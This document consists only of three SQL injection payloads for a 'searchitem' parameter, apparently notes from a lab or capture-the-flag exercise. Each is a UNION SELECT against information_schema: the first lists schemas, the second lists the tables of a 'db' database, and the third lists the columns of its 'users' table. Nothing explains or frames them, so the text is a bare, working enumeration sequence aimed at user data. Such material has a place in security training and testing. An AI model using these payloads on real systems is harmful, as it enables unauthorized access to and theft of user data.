searchitem=' union select 1,2,(SELECT group_concat(schema_name) FROM information_schema.schemata) -- -
searchitem=' union select 1,2,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'db') -- -
searchitem=' union select 1,2,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'db' AND table_name = 'users') -- -